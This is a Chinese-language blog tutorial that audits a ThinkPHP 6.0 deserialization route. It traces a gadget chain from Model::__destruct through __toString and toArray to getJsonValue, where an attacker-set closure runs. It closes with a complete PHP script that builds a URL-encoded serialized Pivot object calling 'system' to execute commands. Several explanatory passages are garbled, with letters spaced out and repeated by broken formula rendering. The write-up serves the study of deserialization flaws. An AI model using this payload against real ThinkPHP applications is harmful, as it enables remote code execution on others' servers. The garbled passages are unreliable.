源码下载
在我的个人免费资源里面
一、前缀知识
事件回调:
概念:在某个特定事件发生时,系统会调用预先定义好的函数(即回调函数)来处理该事件。回调函数通常作为参数传递给触发事件的函数或者注册到事件处理器中。
工作流程:
-
注册回调函数:在需要监听特定事件的地方,开发者将一个函数注册为事件的回调函数。这通常是通过将或作为参数或来实现的。
-
触发事件:当某个事件发生时(比如按钮被点击、数据加载完成等),相应的代码或系统将触发该事件。
-
调用回调函数:一旦事件被触发,系统将调用事先注册的回调函数,并传递给回调函数。
将事件的相关数据作为参数
-
执行回调函数:回调函数将被执行,它会处理接收到的事件数据,并执行相应的逻辑、操作或者回馈。
简单来说就是你在开发中给某个任务设置的闹钟或提醒。当任务要进行某个重要步骤前,你提前安排好一段代码(回调函数)在这个时刻被执行,这样就能在合适的时候自动执行你安排的特定操作。
更多事件回调机制参考:https://blog.csdn.net/weixin_49167174/article/details/132521365
二、代码审计查找反序列化路由
在app/controller/index.php中找到/index/test路由中存在一个反序列化函数,并且,变量参数可控制
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function test()
{
unserialize($_POST['a']);
}
}
三、利用链分析
首先在对象反序列化时自动调用。我们需要寻找切入点,在反序列化中我们重点关注__wakeup()和__destruct()析构函数。
//在对象反序列化时自动调用。
__wakeup():
//在对象被销毁时自动调用。
__destruct():
然后利用seay等代码审计工具全局搜索这两个方法。然后审计代码寻找可以利用的点
SafeStorage.php
<?php
namespace League\Flysystem;
final class SafeStorage
{
/**
* @var string
*/
private $hash;
/**
* @var array
*/
protected static $safeStorage = [];
public function __construct()
{
$this->hash = spl_object_hash($this);
static::$safeStorage[$this->hash] = [];
}
public function storeSafely($key, $value)
{
static::$safeStorage[$this->hash][$key] = $value;
}
public function retrieveSafely($key)
{
if (array_key_exists($key, static::$safeStorage[$this->hash])) {
return static::$safeStorage[$this->hash][$key];
}
}
public function __destruct()
{
unset(static::$safeStorage[$this->hash]);
}
}
此函数用于安全存储,没有可以利用的点
AbstractFtpAdaper.php
public function __destruct()
{
$this->disconnect();
}
/**
* Establish a connection.
*/
abstract public function connect();
/**
* Close the connection.
*/
abstract public function disconnect();
/**
* Check if a connection is active.
*
* @return bool
*/
abstract public function isConnected();
protected function escapePath($path)
{
return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path);
}
跟进disconnect函数
Ftp.php
/**
* Disconnect from the FTP server.
*/
public function disconnect()
{
if ($this->hasFtpConnection()) {
@ftp_close($this->connection);
}
$this->connection = null;
}
用于连接断开时销毁,这里也没有存在可以利用的,我们继续查看下一段
AbstractCache.php
<?php
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Util;
abstract class AbstractCache implements CacheInterface
{
/**
* @var bool
*/
protected $autosave = true;
/**
* @var array
*/
protected $cache = [];
/**
* @var array
*/
protected $complete = [];
/**
* Destructor.
*/
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
这里默认autosave参数为true,但是我们可以构造autosave为false,执行__destruct()函数,我们查看save()方法的作用,AbstractCache.php实现了CacheInterface.php接口模板,但是没有具体定义实际代码,不存在利用
继续分析下一段代码
Model.php
/**
* 析构方法
* @access public
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
默认 l a z y S a v e = = f a l s e ; ,想要执行 s a v e ( ) 需要将 lazySave == false;,想要执行save()需要将 lazySave==false;,想要执行save()需要将lazySave = true;
追踪实现的save()函数
/**
* 保存当前数据对象
* @access public
* @param array $data 数据
* @param string $sequence 自增序列名
* @return bool
*/
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
关注 if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’))。需要执行后续代码不能直接return我们需要先绕过第一个if判断
追踪isEmpty()函数
public function isEmpty(): bool
{
return empty($this->data);
}
条件1:需要满足
$this->isEmpty()==false
$this->data != null;
追踪trigger()函数
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
$call = 'on' . Str::studly($event);
try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}
return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}
参数$withEvent默认为true;
protected $withEvent = true;
条件2:需要满足
$this->trigger('BeforeWrite')==true
$this->withEvent==false;
然后继续回过头来分析这个条件语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
ModelEvent.php中$exists默认为false。
我们先查看
$this->updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
如果需要直接后续代码就需要先绕过前面两个判断条件
$this->trigger('BeforeUpdate')==true
$data!=null
第一个判断条件:
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
$call = 'on' . Str::studly($event);
try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}
return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}
在上面的条件中,已经满足trigger函数为true,所以我们只需要关注第二个判断条件
第二个判断条件:
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
寻找$data数据的来源
$data = $this->getChangedData();
分析getChangedData()函数的实现
在vendor/topthink/think-orm/src/model/concert/Attribute.php中只需要$data不为null就可以了
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
先分析判断语句
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
$force没有定义,默认执行
array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
})
array_udiff_assoc函数用于比较数组的不同
$this->force == null;
private $data = []
private $origin = []
因为
$data ==
o
r
i
g
i
n
所以
i
f
(
(
e
m
p
t
y
(
origin 所以 if ((empty(
origin所以if((empty(a) || empty($b)) && $a !==
b
)
中的
b) 中的
b)中的a !== $b不满足条件
执行
return is_object($a) || $a != $b ? 1 : 0;
最后$data = 0;满足之前updateData()函数中的第二个判断条件
$data!=null
回到updateData()中进入到checkAllowFields()函数
/**
* 检查数据是否允许写入
* @access protected
* @return array
*/
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
我们继续跟进db()可以注意到存在一个字符串拼接操作$this->table . $this->suffix,通过字符串拼接可以进入到__toString()方法中。需要满足
默认
$this->field==null
$this->schema==null
我们先将这个函数放置一边,我们需要先全局搜索__toString()方法,然后在子目录下的Conversion.php中找到一个__toString()方法
public function __toString()
{
return $this->toJson();
}
函数追踪
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
进入toArray()
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
//遍历data数组中的元素
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
第34行遍历data数组中的第一个if中没什么可利用的,如果遍历的对象为Model或者ModelCollection类中的实例的话,就进入到第一个if。我们继续查看下一个elseif中的内容
elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
追踪到getAttr()函数中(这里的 k e y 为 key为 key为data数组的遍历的键名)
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
先进入到getData()
/**
* 获取当前对象数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
我们可以注意到这一行
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
这里的返回数据是根据data[]数组的值决定的,data[]数组是我们可以控制的,在这之前
我们需要先进入到getRealFieldName($name)中
/**
* 获取实际的字段名
* @access protected
* @param string $name 字段名
* @return string
*/
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
return $name;
}
代码的作用是将传进来的字符串格式进行转换
默认
convertNameToCamel == null
stric = true
所以直接返回$name
回到getData()
所以下面这段代码的作用是返回$data数组中的传入的键名的值
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
再返回上一级getAttr()函数
return $this->getValue($name, $value, $relation)
相当于
return $this->getValue($name,$this->data[$key], $relation)
追踪到getValue()函数
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @param string $name 字段名称
* @param mixed $value 字段值
* @param bool|string $relation 是否为关联属性或者关联名
* @return mixed
* @throws InvalidArgumentException
*/
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}
$this->get[$fieldName] = $value;
return $value;
}
在这里绕过if判断条件需要构造 f i e l d N a m e 存在于 fieldName 存在于 fieldName存在于this→json中,并且$this→withAttr要为数组
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
其中因为
getRealFieldName($name)
中的 t h i s − > s t r i c t = = t r u e 。所以 this->strict==true。所以 this−>strict==true。所以filename == n a m e ; name; name;value为之前的 t h i s → d a t a [ this→data[ this→data[key]
然后我们进入到getJsonValue()函数
/**
* 获取JSON字段属性值
* @access protected
* @param string $name 属性名
* @param mixed $value JSON数据
* @return mixed
*/
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}
到这里我们发现有一个可以自定义函数
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
我们可以自定义$withAttr数组
遍历数组的值并将它赋值给$closure
foreach ($this->withAttr[$name] as $key => $closure)
c l o s u r e 是一个函数,我们可以将键值设置为危险函数,比如 s y s t e m 。键名应该与 closure是一个函数,我们可以将键值设置为危险函数,比如system。键名应该与 closure是一个函数,我们可以将键值设置为危险函数,比如system。键名应该与name相等。
v a l u e 为 value为 value为data数组的键值,在这里为函数的参数,到了这里我们整个反序列化链就结束了,可以执行rce命令
构造exp
我们先梳理__toString()的参数传递过程
Conversion::__toString()
Conversion::toJson()
Conversion::toArray()
Attribute::getAttr()
Attribute::getData()
Attribute::getValue()
Attribute::getJsonValue()
首次出现可控参数的点在Conversion::toArray()中控制$data数据
$this->data=['whoami'=>['ls']];
然后进入到Attribute::getAttr()函数中,Attribute::getData()中的Attribute::getRealFieldName( n a m e ) 中的 name)中的 name)中的strict默认为true,Attribute::convertNameToCamel默认为null所以getData($name) == $name;也就是等于’whoami’
然后Attribute::getValue()中对withAttr和json进行了验证
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}
要求’whoami’存在于json中,所以 t h i s − > j s o n = [ ′ w h o a m i ′ ] 。同时需要 w i t h A t t r 是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和’ w h o a m i 相等’,所以 this->json=['whoami']。同时需要withAttr是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和’whoami相等’,所以 this−>json=[′whoami′]。同时需要withAttr是一个数组,而且要控制键值为可执行函数的话,就需要对应的键值和’whoami相等’,所以this->withAttr[‘whoami’=>[‘system’]]
接下来我们梳理__destruct()函数的触发过程
Model::__destruct()
Model::updateData()
Model::checkAllowFields()
Model::db()
我们找到第一个可控参数在Model::__destruct()中需要
$this->lazySave=true;
然后需要绕过
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
绕过isEmpty(), d a t a 数据不为空, data数据不为空, data数据不为空,this->trigger(‘BeforeWrite’)默认为true。
然后在下面的判断语句$result = $this->exists ? $this->updateData() : t h i s − > i n s e r t D a t a ( this->insertData( this−>insertData(sequence);这里我们需要进入updateData(),但是 t h i s − > e x i s t s 默认为 f a l s e ,我们需要更改 this->exists默认为false,我们需要更改 this−>exists默认为false,我们需要更改this->exists为true
$this->exists=true
最后进入Model::db(),执行查询语句,$this_table触发__toString()
首先Model
类是一个抽象类,不能实例化,所以要想利用,得找出 Model
类的一个子类进行实例化,而且use
了刚才__toString
利用过程中使用的接口Conversion
和Attribute
,所以关键字可以直接用
最后全局搜索Model的子类,找到了一个Pivot子类,开始构造exp
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['ls']];
$this->exists = true;
$this->table = $obj; // 用对象进行字符串拼接操作触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
最后
在撰写这篇文章的过程中,我尽力确保内容的准确和全面,但难免会有疏漏的地方。如果您发现任何错误或有任何改进建议,请不要犹豫,随时告诉我。我非常乐意接受您的宝贵建议,并会及时进行修改。
再次感谢您的阅读和支持,希望这篇文章对您有所帮助!